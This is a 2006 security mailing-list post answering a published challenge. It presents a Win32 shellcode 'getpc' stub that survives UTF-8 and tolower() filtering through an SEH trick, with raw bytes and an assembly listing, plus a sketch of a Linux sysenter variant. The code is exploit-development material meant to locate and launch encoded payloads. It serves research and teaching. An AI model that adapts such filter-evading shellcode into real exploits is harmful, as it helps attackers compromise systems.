Dailydave mailing list archives

UTF-8 + tolower getpc stubs


From: Aaron Adams <aadams () securityfocus com>
Date: Fri, 13 Oct 2006 15:58:58 -0600

Hey all,

Anyone that read the most recent Uninformed journal probably saw Skape's
Implementing a Custom x86 Encoder paper [1]. In it he presents a little
challenge for implementing a getpc stub that is UTF-8 and tolower()
compliant. The typical jmp/call, fsetenv, and Skylineds alpha stuff
won't work because of the restrictions. I've included my Win32 solution
at the bottom of this message. It uses the same SEH-based method used by
Skylined's alpha. It hasn't been optimized, but if someone does or has
some suggestions feel free to send me a message.

Also, it looks like it's possible to do one on Linux too. Originally I
was planning on using the sigaction() technique using sysenter (opcodes
0x0f 0x34) instead of int 0x80, however because of the way sysenter is
implemented it's not possible afaict. The reason being is that on Linux
anyway, sysenter is meant to be invoked via the __kernel_vsyscall
wrapper through the use of something like call %gs:<offset>. As such,
the SYSENTER_RETURN code block invoked after the syscall is finished
does a pop, pop, pop, ret from the userland stack. As seen here from the
linux-gate vdso:

ffffe410:       5d                      pop    %ebp
ffffe411:       5a                      pop    %edx
ffffe412:       59                      pop    %ecx
ffffe413:       c3                      ret

This means that, to actually return to your code that did sysenter from
sigaction and then trigger an exception with an address you want, you
have to be able to supply a return address for the ret shown above,
implying you already know where your code is or are capable of obtaining
it.

The only thing I could come up with is, if you push your entire decoder
stub / encoded payload on the stack (adding 25% to its current size),
set up the return address to be the address of your code on the stack,
and invoke a "dummy" syscall (like getpid) via sysenter. This would
return you to your code on the stack on thus give you eip via esp, and
you could work with it from there. Here is a little example:

push    $0xfeeb4040             # decoder/encoded payload pushed here
pusha                           # push 3 dwords + ret (esp) for sysenter
pusha
pop     %esi
popa                            # ebp = esp
push    $20
imul    $0x1, (%esp), %eax      # getpid()
pop     %esi
sysenter

If you run that, you'll be in the infinite loop and can see that
esp+pusha stuff == eip.

Anyway, just some ideas. I'd love to hear if anyone else has done
something similar.
Aaron

1. http://uninformed.org/index.cgi?v=5&a=3&t=txt

----------------------------------------------------

 # Win32 UTF-8 + tolower() GetPC
 #"\x68\x04\x02\x30\x62\x6a\x61\x6b\x1c\x24\x01\x5e"
 #"\x01\x5c\x24\x03\x6a\x20\x6b\x1c\x24\x01\x5e\x01"
 #"\x5c\x24\x02\x68\x6b\x04\x24\x01\x68\x01\x5e\x5e"
 #"\x5e\x68\x5e\x6b\x24\x24\x60\x6a\x01\x6a\x01\x61"
 #"\x6a\x20\x6b\x1c\x24\x01\x6a\x20\x28\x1c\x24\x6b"
 #"\x1c\x24\x01\x6b\x0c\x24\x01\x60\x5e\x5e\x5e\x5e"
 #"\x64\x03\x19\x64\x29\x19\x64\x01\x21\x31\x09"

 # SEH handler code:
 #   5e                      pop    %esi
 #   6b 24 24 01             imul   $0x1,(%esp),%esp    #CONTEXT
 #   5e                      pop    %esi
 #   5e                      pop    %esi
 #   5e                      pop    %esi
 #   6b 04 24 01             imul   $0x1,(%esp),%eax    #FAULT ADDR
 #   04 02                   add    $0x2,%al
 #   50                      push   %eax                #PC
 #   c3                      ret

 pushl  $0x62300204             
 push   $0x61
 imul   $0x1, (%esp), %ebx
 pop    %esi
 add    %ebx, 0x3(%esp)         # fixup ret
 push   $0x20                   
 imul   $0x1, (%esp), %ebx      
 pop    %esi
 add    %ebx, 0x2(%esp)         # fixup push

 pushl  $0x0124046b             
 pushl  $0x5e5e5e01             
 pushl  $0x24246b5e             

 # get address of SEH code from esp
 pusha
 push   $0x1                    
 push   $0x1
 popa                           # edx == address of handler

 push   $0x20
 imul   $0x1, (%esp), %ebx
 push   $0x20
 subb   %bl, (%esp)
 imul   $0x01, (%esp), %ebx
 imul   $0x01, (%esp), %ecx

 pusha
 pop    %esi
 pop    %esi
 pop    %esi
 pop    %esi                    # esp == SEH record
 add    %fs:(%ecx), %ebx        
 sub    %ebx, %fs:(%ecx)        
 add    %esp, %fs:(%ecx)        # SEH == our record
 xor    %ecx, (%ecx)            

 # UTF-8 / tolower decoder goes here
 decoder:

_______________________________________________
Dailydave mailing list
Dailydave () lists immunitysec com
http://lists.immunitysec.com/mailman/listinfo/dailydave


Current thread: